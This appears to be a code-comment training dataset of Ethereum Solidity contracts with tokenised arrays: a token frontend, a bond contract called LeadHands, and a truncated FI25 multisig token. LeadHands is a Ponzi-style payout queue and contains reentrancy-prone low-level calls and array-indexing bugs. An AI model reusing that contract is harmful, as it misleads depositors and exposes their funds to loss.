./full_match/5/0xe50Dd55273050b49415D69a29Fe691dbe3806aA7/sources/project_/contracts/TokenFrontend.sol | * @title TokenFrontend @dev This contract implements a token forwarder. The token frontend is [ERC20 and ERC677] compliant and forwards standard methods to a controller. The primary function is to allow for a statically deployed contract for users to interact with while simultaneously allow the controllers to be upgraded when bugs are discovered or new functionality needs to be added./ | abstract contract TokenFrontend is Claimable, CanReclaimToken, NoOwner, IERC20, IPolygonPosRootToken, AccessControl {
bytes32 public constant PREDICATE_ROLE = keccak256("PREDICATE_ROLE");
SmartController internal controller;
string public name;
string public symbol;
bytes3 public ticker;
event Transfer(address indexed from, address indexed to, uint amount, bytes data);
event Controller(bytes3 indexed ticker, address indexed old, address indexed current);
constructor(string memory name_, string memory symbol_, bytes3 ticker_) {
name = name_;
symbol = symbol_;
ticker = ticker_;
_setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
}
function setController(address address_) external onlyOwner {
require(address_ != address(0x0), "controller address cannot be the null address");
emit Controller(ticker, address(controller), address_);
controller = SmartController(address_);
require(controller.isFrontend(address(this)), "controller frontend does not point back");
require(controller.ticker() == ticker, "ticker does not match controller ticket");
}
function transfer(address to, uint amount) external returns (bool ok) {
ok = controller.transfer_withCaller(msg.sender, to, amount);
emit Transfer(msg.sender, to, amount);
}
function transferFrom(address from, address to, uint amount) external returns (bool ok) {
ok = controller.transferFrom_withCaller(msg.sender, from, to, amount);
emit Transfer(from, to, amount);
}
function approve(address spender, uint amount) external returns (bool ok) {
ok = controller.approve_withCaller(msg.sender, spender, amount);
emit Approval(msg.sender, spender, amount);
}
function transferAndCall(address to, uint256 amount, bytes calldata data)
external
returns (bool ok)
{
ok = controller.transferAndCall_withCaller(msg.sender, to, amount, data);
emit Transfer(msg.sender, to, amount);
emit Transfer(msg.sender, to, amount, data);
}
function mintTo(address to, uint amount)
external
returns (bool ok)
{
ok = controller.mintTo_withCaller(msg.sender, to, amount);
emit Transfer(address(0x0), to, amount);
}
function mint(address to, uint amount)
override
external
returns (bool ok)
{
require(hasRole(PREDICATE_ROLE, msg.sender), "caller is not PREDICATE");
ok = this.mintTo(to, amount);
}
function burnFrom(address from, uint amount, bytes32 h, uint8 v, bytes32 r, bytes32 s)
external
returns (bool ok)
{
ok = controller.burnFrom_withCaller(msg.sender, from, amount, h, v, r, s);
emit Transfer(from, address(0x0), amount);
}
function recover(address from, address to, bytes32 h, uint8 v, bytes32 r, bytes32 s)
external
returns (uint amount)
{
amount = controller.recover_withCaller(msg.sender, from, to, h ,v, r, s);
emit Transfer(from, to, amount);
}
function getController() external view returns (address) {
return address(controller);
}
function totalSupply() external view returns (uint) {
return controller.totalSupply();
}
function balanceOf(address who) external view returns (uint) {
return controller.balanceOf(who);
}
function allowance(address owner, address spender) external view returns (uint) {
return controller.allowance(owner, spender);
}
function decimals() external view returns (uint) {
return controller.decimals();
}
function transferOwnership(address newOwner) public override(Claimable, Ownable) {
Claimable.transferOwnership(newOwner);
}
}
| 1,928,328 | [
1,
1345,
21905,
225,
1220,
6835,
4792,
279,
1147,
364,
20099,
18,
1021,
1147,
15442,
353,
306,
654,
39,
3462,
471,
4232,
39,
26,
4700,
65,
24820,
471,
24578,
4529,
2590,
358,
279,
2596,
18,
1021,
3354,
445,
353,
358,
1699,
364,
279,
760,
1230,
19357,
6835,
364,
3677,
358,
16592,
598,
1323,
27504,
715,
1699,
326,
12403,
358,
506,
31049,
1347,
22398,
854,
18238,
578,
394,
14176,
4260,
358,
506,
3096,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
17801,
6835,
3155,
21905,
353,
18381,
429,
16,
4480,
426,
14784,
1345,
16,
2631,
5541,
16,
467,
654,
39,
3462,
16,
2971,
355,
4731,
1616,
2375,
1345,
16,
24349,
288,
203,
225,
1731,
1578,
1071,
5381,
7071,
2565,
13000,
67,
16256,
273,
417,
24410,
581,
5034,
2932,
3670,
2565,
13000,
67,
16256,
8863,
203,
203,
225,
19656,
2933,
2713,
2596,
31,
203,
203,
225,
533,
1071,
508,
31,
203,
225,
533,
1071,
3273,
31,
203,
225,
1731,
23,
1071,
14063,
31,
203,
203,
225,
871,
12279,
12,
2867,
8808,
628,
16,
1758,
8808,
358,
16,
2254,
3844,
16,
1731,
501,
1769,
203,
203,
225,
871,
6629,
12,
3890,
23,
8808,
14063,
16,
1758,
8808,
1592,
16,
1758,
8808,
783,
1769,
203,
203,
203,
225,
3885,
12,
1080,
3778,
508,
67,
16,
533,
3778,
3273,
67,
16,
1731,
23,
14063,
67,
13,
288,
203,
565,
508,
273,
508,
67,
31,
203,
565,
3273,
273,
3273,
67,
31,
203,
565,
14063,
273,
14063,
67,
31,
203,
565,
389,
8401,
2996,
12,
5280,
67,
15468,
67,
16256,
16,
1234,
18,
15330,
1769,
203,
225,
289,
203,
203,
225,
445,
444,
2933,
12,
2867,
1758,
67,
13,
3903,
1338,
5541,
288,
203,
565,
2583,
12,
2867,
67,
480,
1758,
12,
20,
92,
20,
3631,
315,
5723,
1758,
2780,
506,
326,
446,
1758,
8863,
203,
565,
3626,
6629,
12,
88,
5448,
16,
1758,
12,
5723,
3631,
1758,
67,
1769,
203,
565,
2596,
273,
19656,
2933,
12,
2867,
67,
1769,
203,
565,
2583,
12,
5723,
18,
291,
21905,
12,
2867,
2
]
|
pragma solidity ^0.4.24;
import "zeppelin-solidity/contracts/token/ERC20/ERC20.sol";
import "zeppelin-solidity/contracts/token/ERC721/ERC721Token.sol";
import "zeppelin-solidity/contracts/ownership/Ownable.sol";
import "zeppelin-solidity/contracts/math/SafeMath.sol";
import "./IronHandsInterface.sol";
import "./HourglassInterface.sol";
contract LeadHands is Ownable, ERC721Token {
/**
* Modifiers
*/
/**
* The tokens from the source cannot be transfered.
*/
modifier notSource(address aContract) {
require(aContract != address(source));
_;
}
/**
* Only if this person owns the token or is approved
*/
modifier ownerOrApproved(address _operator, uint256 _tokenId) {
require(isApprovedOrOwner(_operator, _tokenId));
_;
}
/**
* Only if the contract has a positive balance
*/
modifier hasBalance() {
require(address(this).balance > 10);
_;
}
/*
* Only if we can mint that many bonds, and they sent enough to buy a single bond
*/
modifier canMint(uint256 amount){
require(amount > 3000000 && (revenue == 0 || amount <= totalPurchasableBonds()));
if(bondValue > 0){
require(amount >= bondValue);
}
_;
}
/**
* Events
*/
event BondCreated(uint256 amount, address depositer, uint256 bondId);
event Payout(uint256 amount, address creditor, uint256 bondId);
event BondPaidOut(uint256 bondId);
event BondDestroyed(uint256 paid, uint256 owed, address deserter, uint256 bondId);
event Revenue(uint256 amount, address revenueSource);
event Donation(uint256 amount, address donator);
/**
* Structs
*/
struct Participant {
address etherAddress;
uint256 payout;
uint256 tokens;
}
/**
* Storage variables
*/
//Total ETH revenue over the lifetime of the contract
uint256 revenue;
//Total ETH received from dividends
uint256 dividends;
//Total ETH donated to the contract
uint256 donations;
//The percent to return to depositers. 100 for 0%, 200 to double, etc.
uint256 public multiplier;
//Where in the line we are with creditors
uint256 public payoutOrder = 0;
//How much is owed to people
uint256 public backlog = 0;
//Number of Participants
uint256 public participantsOwed = 0;
//The creditor line
Participant[] public participants;
//How much each person is owed
mapping(address => uint256) public creditRemaining;
//What we will be buying
HourglassInterface source;
//IronHands, the other revenue source
IronHandsInterface ironHands;
//tokenURI prefix which will have the tokenId appended to it
string myTokenURIPrefix;
//Bond value per bond, or 0 for user sized bonds.
uint256 bondValue;
//Amount of inflation to allow, or 0 for unlimited inflation
uint256 inflationMultiplier;
/**
* Constructor
*/
constructor(uint256 myBondValue, uint256 myInflationMultipler, uint256 multiplierPercent, address sourceAddress, address ironHandsAddress, string name, string symbol, string tokenURIPrefix) public ERC721Token(name, symbol) {
multiplier = multiplierPercent;
source = HourglassInterface(sourceAddress);
ironHands = IronHandsInterface(ironHandsAddress);
myTokenURIPrefix = tokenURIPrefix;
bondValue = myBondValue;
inflationMultiplier = myInflationMultipler;
}
/**
* Deposit ETH to get in line to be credited back the multiplier as a percent,
* Add that ETH to the pool, then pay out who we owe and buy more tokens.
*/
function purchaseBond() payable canMint(msg.value) public returns (uint256[]){
//A single bond is fixed at bond value, or 0 for user defined value on buy
uint256 amountPerBond = bondValue == 0 ? msg.value : bondValue;
//The amount they have deposited
uint256 remainder = msg.value;
//The issued bonds
uint256[] memory issuedBonds = new uint256[](0);
//counter for storing the bonds in the issuedBonds array
uint256 issuedBondsIndex = 0;
//while we still have money to spend
while(remainder >= amountPerBond){
remainder -= bondValue;
//Compute how much to pay them
uint256 amountCredited = bondValue.mul(multiplier).div(100);
//Compute how much we're going to invest in each opportunity
uint256 tokens = invest(bondValue);
//Get in line to be paid back.
participants.push(Participant(msg.sender, amountCredited, tokens));
//Increase the backlog by the amount owed
backlog += amountCredited;
//Increase the number of participants owed
participantsOwed++;
//Increase the amount owed to this address
creditRemaining[msg.sender] += amountCredited;
//Give them the token
_mint(msg.sender, participants.length-1);
//Add it to the list of bonds they bought
issuedBonds[issuedBondsIndex] = participants.length-1;
//increment the issuedBondsIndex counter
issuedBondsIndex++;
//Emit a deposit event.
emit BondCreated(bondValue, msg.sender, participants.length-1);
}
//If they sent in more than the bond value
if(remainder > 0){
//Send them back the portion they are owed.
msg.sender.transfer(remainder);
}
//Do the internal payout loop
internalPayout();
//Tell them what bonds were issued to them
return issuedBonds;
}
/**
* Take 50% of the money and spend it on tokens, which will pay dividends later.
* Take the other 50%, and use it to pay off depositors.
*/
function payout() public {
//Take everything in the pool
uint256 existingBalance = address(this).balance;
//It needs to be something worth splitting up
require(existingBalance > 10);
invest(existingBalance);
//Pay people out
internalPayout();
}
/**
* Withdraw and payout in one transactions
*/
function withdrawAndPayout() public {
//if we have dividends
if(myDividends() > 0){
//withdraw them
withdraw();
}
//payout everyone we can
payout();
}
/**
* Sells the tokens your investment bought, giving you whatever it received in doing so, and canceling your future payout.
* Calling this with a position you own in line with forefit that future payout as well as 50% of your initial deposit.
* This is here in response to people not being able to "get their money out early". Now you can, but at a very high cost.
*/
function exit(uint256 _tokenId) ownerOrApproved(msg.sender, _tokenId) public {
require(participants[_tokenId].tokens > 0 && participants[_tokenId].payout > 0);
//Withdraw dividends first
if(myDividends() > 0){
withdraw();
}
//Lock divs so not used to pay seller
uint256 lockedFunds = address(this).balance;
//Get tokens for this postion
uint256 tokensToSell = participants[_tokenId].tokens;
//Get the amount the are owed on this postion
uint256 owedAmount = participants[_tokenId].payout;
//Set tokens for this position to 0
participants[_tokenId].tokens = 0;
//Set amount owed on this position to 0
participants[_tokenId].payout = 0;
//Sell particpant's tokens
source.sell(tokensToSell);
//get the money out
withdraw();
//remove divs from funds to be paid
uint256 availableFunds = address(this).balance - lockedFunds;
//Set Backlog Amount
backlog -= owedAmount;
//Decrease number of participants
participantsOwed--;
uint256 payment;
//Check if owed amount is less than or equal to the amount available
if (owedAmount <= availableFunds){
//If more availabe funds are available only send owed amount
payment = owedAmount;
}else{
//If owed amount is greater than available amount send all available
payment = availableFunds;
}
//Try and pay them, making best effort. But if we fail? Run out of gas? That's not our problem any more.
if(msg.sender.call.value(payment).gas(1000000)()){
//Record that they were paid
emit BondDestroyed(payment, owedAmount, msg.sender, _tokenId);
}
}
/**
* Request dividends be paid out and added to the pool.
*/
function withdraw() public {
//get our balance
uint256 balance = address(this).balance;
//withdraw however much we are owed
source.withdraw.gas(1000000)();
//remove the amount we already had from the calculation
uint256 revenuePaid = address(this).balance - balance;
//increase the dividends we've been paid
revenue += revenuePaid;
//emit and event
emit Revenue(revenuePaid, source);
}
/**
* The owner can set the tokeURI
*/
function setTokenURI(string tokenURI) external onlyOwner {
myTokenURIPrefix = tokenURI;
}
/**
* ERC-721 Metadata support for getting the token URI
* Returns a unique URI per token
*/
function tokenURI(uint256 _tokenId) public view returns (string){
return appendUintToString(myTokenURIPrefix, _tokenId);
}
/**
* Fallback function allows anyone to send money for the cost of gas which
* goes into the pool. Used by withdraw/dividend payouts so it has to be cheap.
*/
function() payable public {
}
/**
* Buy some tokens from the revenue source
*/
function buyFromHourglass(uint256 _amount) internal returns(uint256) {
return source.buy.value(_amount).gas(1000000)(msg.sender);
}
/**
* Invest in IronHands
*/
function buyFromIronHands(uint256 _amount) internal {
ironHands.deposit.value(_amount).gas(3000000)();
}
/**
* Amount an individual token is owed in the future
*/
function balanceOfBond(uint256 _tokenId) public view returns (uint256) {
return participants[_tokenId].payout;
}
/**
* Payout address of a given bond
*/
function payoutAddressOfBond(uint256 _tokenId) public view returns (address) {
return participants[_tokenId].etherAddress;
}
/**
* Number of participants in line ahead of this token
*/
function participantsAheadOfBond(uint256 _tokenId) public view returns (uint256) {
require(payoutOrder <= _tokenId);
return _tokenId - payoutOrder;
}
/**
* Number of tokens the contract owns.
*/
function myTokens() public view returns(uint256){
return source.myTokens();
}
/**
* Number of dividends owed to the contract.
*/
function myDividends() public view returns(uint256){
return source.myDividends(true);
}
/**
* Number of dividends received by the contract.
*/
function totalDividends() public view returns(uint256){
return dividends;
}
/**
* Number of donations received by the contract.
*/
function totalDonations() public view returns(uint256){
return donations;
}
/**
* Number of dividends owed to the contract.
*/
function tokensForBond(uint256 _tokenId) public view returns(uint256){
return participants[_tokenId].tokens;
}
/**
* A charitible contribution will be added to the pool.
*/
function donate() payable public {
require(msg.value > 0);
donations += msg.value;
emit Donation(msg.value, msg.sender);
}
/**
* Number of participants who are still owed.
*/
function backlogLength() public view returns (uint256){
return participantsOwed;
}
/**
* Total amount still owed in credit to depositors.
*/
function backlogAmount() public view returns (uint256){
return backlog;
}
/**
* Total number of bonds issued in the lifetime of the contract.
*/
function totalBondsIssued() public view returns (uint256){
return participants.length;
}
/**
* Total purchasable tokens.
*/
function totalPurchasableBonds() public view returns (uint256){
//If we don't have a limit on inflation
if(inflationMultiplier == 0){
//It's never over 9000
return 9000 ether;
}
//Take the revenue, multipliy it by the inflationMultiplier, and subtract the backlog
return revenue.mul(inflationMultiplier).sub(backlog);
}
/**
* Total amount of ETH that the contract has issued back to it's investors.
*/
function totalRevenue() public view returns (uint256){
return revenue;
}
/**
* Amount still owed to an individual address
*/
function amountOwed(address anAddress) public view returns (uint256) {
return creditRemaining[anAddress];
}
/**
* Amount owed to this person.
*/
function amountIAmOwed() public view returns (uint256){
return amountOwed(msg.sender);
}
function viewBond(uint256 _bondId) public view returns (address, uint256, uint256){
return (participants[_bondId].etherAddress, participants[_bondId].payout, participants[_bondId].tokens);
}
/**
* A trap door for when someone sends tokens other than the intended ones so the overseers can decide where to send them.
*/
function transferAnyERC20Token(address _tokenAddress, address _tokenOwner, uint256 _tokens) public onlyOwner notSource(_tokenAddress) returns (bool success) {
return ERC20(_tokenAddress).transfer(_tokenOwner, _tokens);
}
/**
* Internal functions
*/
/**
* Split revenue either two or three ways, returning the number of tokens generated in doing so
*/
function invest(uint256 amount) private returns (uint256){
//Compute how much we're going to invest in each opportunity
uint256 investment;
//If we have an existing IronHands to piggyback on
if(ironHands != address(0)){
//Do a three way split
investment = amount.div(3);
//Buy some ironHands revenue because that causes events in the future
buyFromIronHands(investment);
}else{
//Do a two way split
investment = amount.div(2);
}
//Split the deposit up and buy some future revenue from the source
return buyFromHourglass(investment);
}
/**
* Internal payout loop called by deposit() and payout()
*/
function internalPayout() hasBalance private {
//Get the balance
uint256 existingBalance = address(this).balance;
//While we still have money to send
while (existingBalance > 0) {
//Either pay them what they are owed or however much we have, whichever is lower.
uint256 payoutToSend = existingBalance < participants[payoutOrder].payout ? existingBalance : participants[payoutOrder].payout;
//if we have something to pay them
if(payoutToSend > 0){
//record how much we have paid out
revenue += payoutToSend;
//subtract how much we've spent
existingBalance -= payoutToSend;
//subtract the amount paid from the amount owed
backlog -= payoutToSend;
//subtract the amount remaining they are owed
creditRemaining[participants[payoutOrder].etherAddress] -= payoutToSend;
//credit their account the amount they are being paid
participants[payoutOrder].payout -= payoutToSend;
if(participants[payoutOrder].payout == 0){
//Decrease number of participants owed
participantsOwed--;
}
//Try and pay them, making best effort. But if we fail? Run out of gas? That's not our problem any more.
if(participants[payoutOrder].etherAddress.call.value(payoutToSend).gas(1000000)()){
//Record that they were paid
emit Payout(payoutToSend, participants[payoutOrder].etherAddress, payoutOrder);
}else{
//undo the accounting, they are being skipped because they are not payable.
revenue -= payoutToSend;
existingBalance += payoutToSend;
backlog += payoutToSend;
backlog -= participants[payoutOrder].payout;
creditRemaining[participants[payoutOrder].etherAddress] -= participants[payoutOrder].payout;
participants[payoutOrder].payout = 0;
}
}
//check for possible reentry
existingBalance = address(this).balance;
//If we still have balance left over
if(participants[payoutOrder].payout == 0){
//Log event
emit BondPaidOut(payoutOrder);
//Go to the next person in line
payoutOrder += 1;
//Decrease number of participants owed
participantsOwed--;
}
//If we've run out of people to pay, stop
if(payoutOrder >= participants.length){
return;
}
}
}
/**
* Helper function for appending the tokenId to the URI
*/
function appendUintToString(string inStr, uint v) private pure returns (string str) {
uint maxlength = 100;
bytes memory reversed = new bytes(maxlength);
uint i = 0;
while (v != 0) {
uint remainder = v % 10;
v = v / 10;
reversed[i++] = byte(48 + remainder);
}
bytes memory inStrb = bytes(inStr);
bytes memory s = new bytes(inStrb.length + i);
uint j;
for (j = 0; j < inStrb.length; j++) {
s[j] = inStrb[j];
}
for (j = 0; j < i; j++) {
s[j + inStrb.length] = reversed[i - 1 - j];
}
str = string(s);
}
/**
* Helper function for appending the tokenId to the URI
*/
function uintToString(uint256 v) private pure returns (string str) {
uint maxlength = 100;
bytes memory reversed = new bytes(maxlength);
uint i = 0;
while (v != 0) {
uint remainder = v % 10;
v = v / 10;
reversed[i++] = byte(48 + remainder);
}
bytes memory s = new bytes(i + 1);
for (uint j = 0; j <= i; j++) {
s[j] = reversed[i - j];
}
str = string(s);
}
} | Do the internal payout loop | internalPayout();
| 1,073,471 | [
1,
3244,
326,
2713,
293,
2012,
2798,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
3639,
2713,
52,
2012,
5621,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// SPDX-License-Identifier: MIT
pragma solidity 0.8.4;
contract Owned {
bool public paused;
mapping(address => bool) internal _owners;
uint8 internal _amountOwners = 0;
constructor() {
_owners[msg.sender] = true;
_amountOwners++;
paused = false;
}
function isOwner(address account) public view returns (bool) {
return _owners[account];
}
modifier onlyOwner() {
require(_owners[msg.sender], "Owned Error: Caller is not an owner.");
_;
}
modifier whenNotPaused() {
require(!paused, "Pausable Error: Contract is paused.");
_;
}
modifier whenPaused() {
require(paused, "Pausable Error: Contract is not paused.");
_;
}
}
contract Multisignature is Owned {
string public _topic = "";
event EnableMultisigEvent(address account);
event DisableMultisigEvent(address account);
mapping(address => bool) internal _haveVoted;
uint8 private _voteCount;
address[] _listOfVoters = new address[](0);
bool public _multisigApprovalGiven = false;
bool public _multisigEnabled = false;
function multisigVoteApproved(string memory topic) internal returns (bool) {
if (!_multisigEnabled) return true;
if (_amountOwners == 1) return true;
if (_multisigApprovalGiven && (keccak256(abi.encodePacked(_topic)) == keccak256(abi.encodePacked(topic)))) {
resetVoting();
return true;
}
return false;
}
function enableMultisig() public onlyOwner {
_multisigEnabled = true;
emit EnableMultisigEvent(msg.sender);
}
function disableMultisig() public onlyOwner {
//Check multisignature vote eligibility
require(
multisigVoteApproved("DISABLE_MULTISIG"),
"MultiSig Error: Multisignature requirements have not been met."
);
//Set _multisigEnabled to true
_multisigEnabled = false;
//Emit event
emit DisableMultisigEvent(msg.sender);
}
function resetVoting() public onlyOwner {
//Mark approval given as false
_multisigApprovalGiven = false;
//Reset vote count to zero
_voteCount = 0;
//Reset topic to empty string
_topic = "";
//Loop through _listOfVoters array and unmark their ballots
for (uint256 voter = 0; voter < _listOfVoters.length; voter++) {
_haveVoted[_listOfVoters[voter]] = false;
}
//Shrink _listOfVoters array
_listOfVoters = new address[](0);
}
function vote() public onlyOwner {
//Check to make sure that there are sufficient voters to initiate a vote
require(
(_amountOwners > 1) && (_amountOwners <= 3),
"Multisig Error: Voting requires > 1 and <=3 owners."
);
require(
keccak256(abi.encodePacked(_topic)) != keccak256(abi.encodePacked("")),
"Multisig Error: Must set topic prior voting."
);
//Check to make sure that voter has not already voted
require(
!_haveVoted[msg.sender],
"Multisig Error: You have already voted."
);
//Mark voter as voted
_haveVoted[msg.sender] = true;
//Add voter to _listOfVoters array
_listOfVoters.push(msg.sender);
//Increment vote count
_voteCount++;
//If two or more contract owners have voted in favor, mark approval given as true
if (_voteCount >= 2) {
_multisigApprovalGiven = true;
}
}
function setTopic(string memory topic) public onlyOwner {
//Cannot set topic 'ADD_NEW_OWNER' once there are three owners
require(
(keccak256(abi.encodePacked(topic)) != keccak256(abi.encodePacked("ADD_NEW_OWNER"))) || (_amountOwners != 3),
"Multisig Error: Cannot call ADD_NEW_OWNER topic with >= 3 owners."
);
//Check to make sure that _topic is unset
require(
keccak256(abi.encodePacked(_topic)) == keccak256(abi.encodePacked("")),
"Multisig Error: Topic cannot be changed during a pending vote."
);
//Set interal _topic variable
_topic = topic;
}
}
contract OwnedExtended is Multisignature {
mapping(address => bool) internal _isExcludedFromFee;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
function isExcludedFromFee(address account) public view returns (bool){
return _isExcludedFromFee[account];
}
function addNewOwner(address newOwner) public onlyOwner {
//Checking multisignature vote eligibility
require(
multisigVoteApproved("ADD_NEW_OWNER"),
"Multisig Error: Multisignature requirements have not been met."
);
//Checking to ensure that account being added is not a zero address
require(
newOwner != address(0),
"Owned Error: Owner cannot be a zero address."
);
//Checking to ensure that account being added is not already an owner
require(
!_owners[newOwner],
"Owned Error: Account is already an owner."
);
//Checking to ensure that total account owners are less than three
require(
_amountOwners < 3,
"Owned Error: Contract cannot have more than three owners."
);
//Set account ownership to true
_owners[newOwner] = true;
//Exclude new owner from transaction fee
_isExcludedFromFee[newOwner] = true;
//Increase total amount of owners
_amountOwners++;
}
function removeOwner(address ownerAccount) public onlyOwner {
//Checking multisignature vote eligibility
require(
multisigVoteApproved("REMOVE_OWNER"),
"Multisig Error: Multisignature requirements have not been met."
);
//Checking to ensure that account being removed is an owner
require(
_owners[ownerAccount],
"Owned Error: Account is not owner."
);
//Checking to ensure that account being removed isn't the sender
require(
ownerAccount != msg.sender,
"Owned Error: Owner cannot remove himself."
);
//Checking to ensure that amount of owners is greater than one
require(
_amountOwners > 1,
"Owned Error: Amount of owners must be greater than one."
);
//Set account ownership to false
_owners[ownerAccount] = false;
//Include old owner in transaction fee
_isExcludedFromFee[ownerAccount] = false;
//Decrease amount of owners
_amountOwners--;
}
}
contract Pausable is OwnedExtended {
event PausedEvt(address account);
event UnpausedEvt(address account);
function pause() public onlyOwner whenNotPaused {
require(
multisigVoteApproved("PAUSE"),
"Multisig Error: Multisignature requirements have not been met."
);
paused = true;
emit PausedEvt(msg.sender);
}
function unpause() public onlyOwner whenPaused {
require(
multisigVoteApproved("UNPAUSE"),
"Multisig Error: Multisignature requirements have not been met."
);
paused = false;
emit UnpausedEvt(msg.sender);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function increaseAllowance(address spender, uint256 addedValue) external returns (bool);
function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract FI25 is Pausable, IERC20 {
address private _owner;
address public _commissionHolder;
address public _burnAddress = 0x000000000000000000000000000000000000dEaD;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
string private _name = "FIDIS FI25 Crypto Index";
string private _symbol = "FI25";
uint8 private _decimals = 8;
uint256 private _totalSupply = 0;
uint256 _txFeeBP = 100; // Every integer equals 1 basis points (Value range 1 (0.01%) to 9999 (99.99%)
event ReduceTokenSupply(address from, uint256 value);
event CommissionHolderChange(address from, address to);
constructor() {
_owner = msg.sender;
_isExcludedFromFee[_owner] = true;
_commissionHolder = msg.sender;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function getTransferFeeRate() public view virtual returns (uint256) {
return _txFeeBP;
}
function changeTransferFeeRate(uint256 amount) public whenNotPaused onlyOwner {
//Check for multisig vote eligibility
require(
multisigVoteApproved("CHANGE_TX_FEE_RATE"),
"Multisig Error: Multisignature requirements have not been met."
);
//Check to ensure that submitted amount is between 1 and 9999. Minimum fee is 0.01%. Maximum fee is 99.99%
require(
